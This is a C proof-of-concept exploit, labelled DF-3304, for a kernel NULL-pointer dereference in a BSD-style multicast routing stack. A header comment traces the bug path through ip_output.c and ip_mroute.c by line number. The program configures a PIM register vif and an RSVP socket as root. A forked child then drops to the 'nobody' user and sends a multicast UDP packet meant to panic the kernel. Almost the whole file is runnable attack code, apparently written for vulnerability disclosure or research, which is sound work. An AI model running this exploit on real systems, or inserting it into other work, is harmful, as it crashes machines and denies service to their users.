/*
 * DF-3304 PoC: unprivileged NULL-pointer dereference via IP_MULTICAST_VIF
 * pointing at a PIM REGISTER vif.
 *
 * Chain:
 *   ip_output.c:1487  IP_MULTICAST_VIF has NO privilege check (any UDP
 *                      socket may select any legal vif index)
 *   ip_output.c:425    if (!rsvp_on) imo = NULL;   -> imo survives only
 *                      when an RSVP daemon registered a vif
 *   ip_output.c:428    ip_mforward(ip, ifp, m, imo)
 *   ip_mroute.c:1186   X_ip_mforward imo fast path: ip_mdq(m, ifp, NULL, vifi)
 *   ip_mroute.c:1469   viftable[xmt_vif].v_flags & VIFF_REGISTER
 *                      -> pim_register_send(ip, vifp, m, rt == NULL)
 *   ip_mroute.c:2826   if ((mrt_api_config & MRT_MFC_RP) &&
 *                          (rt->mfc_rp.s_addr != INADDR_ANY))  <- NULL deref
 *
 * Setup (root): MRT_INIT, MRT_API_CONFIG(MRT_MFC_RP), MRT_ADD_VIF with
 * VIFF_REGISTER, and a raw RSVP socket with IP_RSVP_VIF_ON (rsvp_on=1).
 * Trigger (unprivileged child): UDP socket, IP_MULTICAST_VIF=0, sendto a
 * multicast group.
 *
 * build: cc -O2 -o regvifnull regvifnull.c
 * run:   ./regvifnull          (as root; the panic-trigger runs as nobody)
 */
#include <sys/param.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#include "ip_mroute_common.h"

#ifndef IP_RSVP_VIF_ON
#define IP_RSVP_VIF_ON 17
#endif
#define IPPROTO_RSVP 46
#define TRIGGER_UID 32767	/* nobody */

int
main(void)
{
	struct vifctl vc;
	uint32_t api;
	int igmp, rsvp, rc, status;
	pid_t pid;

	igmp = socket(AF_INET, SOCK_RAW, IPPROTO_IGMP);
	if (igmp < 0) { perror("raw igmp socket (run as root)"); exit(1); }

	rc = mrt_init(igmp);
	if (rc < 0) { perror("MRT_INIT"); exit(1); }
	printf("MRT_INIT ok\n");

	api = MRT_MFC_RP;
	rc = setsockopt(igmp, IPPROTO_IP, MRT_API_CONFIG, &api, sizeof(api));
	printf("MRT_API_CONFIG(MRT_MFC_RP) rc=%d api=0x%x\n", rc, api);
	if (rc < 0) { perror("MRT_API_CONFIG"); exit(1); }

	/* vif0 = PIM register vif */
	memset(&vc, 0, sizeof(vc));
	vc.vifc_vifi = 0;
	vc.vifc_flags = VIFF_REGISTER;
	vc.vifc_threshold = 1;
	vc.vifc_rate_limit = 0;
	vc.vifc_lcl_addr.s_addr = inet_addr("127.0.0.2");
	vc.vifc_rmt_addr.s_addr = 0;
	rc = setsockopt(igmp, IPPROTO_IP, MRT_ADD_VIF, &vc, sizeof(vc));
	printf("MRT_ADD_VIF(REGISTER) rc=%d\n", rc);
	if (rc < 0) { perror("MRT_ADD_VIF"); exit(1); }

	/* RSVP socket so that rsvp_on != 0 and ip_output keeps imo */
	rsvp = socket(AF_INET, SOCK_RAW, IPPROTO_RSVP);
	if (rsvp < 0) { perror("raw rsvp socket"); exit(1); }
	rc = setsockopt(rsvp, IPPROTO_IP, IP_RSVP_VIF_ON,
			(int[]){0}, sizeof(int));
	printf("IP_RSVP_VIF_ON rc=%d\n", rc);
	if (rc < 0) { perror("IP_RSVP_VIF_ON"); exit(1); }

	pid = fork();
	if (pid == 0) {
		struct sockaddr_in dst;
		int udp, vif = 0, loop = 0;
		char msg[] = "df3304";

		if (setgid(TRIGGER_UID) || setuid(TRIGGER_UID)) {
			perror("setuid");
			_exit(1);
		}
		printf("trigger: uid=%d euid=%d\n", getuid(), geteuid());

		udp = socket(AF_INET, SOCK_DGRAM, 0);
		if (udp < 0) { perror("udp socket"); _exit(1); }
		/* no privilege check on this option: */
		rc = setsockopt(udp, IPPROTO_IP, IP_MULTICAST_VIF,
				&vif, sizeof(vif));
		printf("trigger: IP_MULTICAST_VIF(0) rc=%d\n", rc);
		if (rc < 0) { perror("IP_MULTICAST_VIF"); _exit(1); }
		setsockopt(udp, IPPROTO_IP, IP_MULTICAST_LOOP, &loop, sizeof(loop));

		memset(&dst, 0, sizeof(dst));
		dst.sin_family = AF_INET;
		dst.sin_len = sizeof(dst);
		dst.sin_port = htons(9);
		dst.sin_addr.s_addr = inet_addr("224.9.9.9");
		printf("trigger: sending UDP to 224.9.9.9 (expect panic)\n");
		fflush(stdout);
		rc = sendto(udp, msg, sizeof(msg), 0,
			    (struct sockaddr *)&dst, sizeof(dst));
		printf("trigger: sendto rc=%d errno=%d (no panic?)\n",
		       rc, errno);
		_exit(rc < 0);
	}
	waitpid(pid, &status, 0);
	printf("child status 0x%x\n", status);
	printf("no panic observed\n");
	return 0;
}
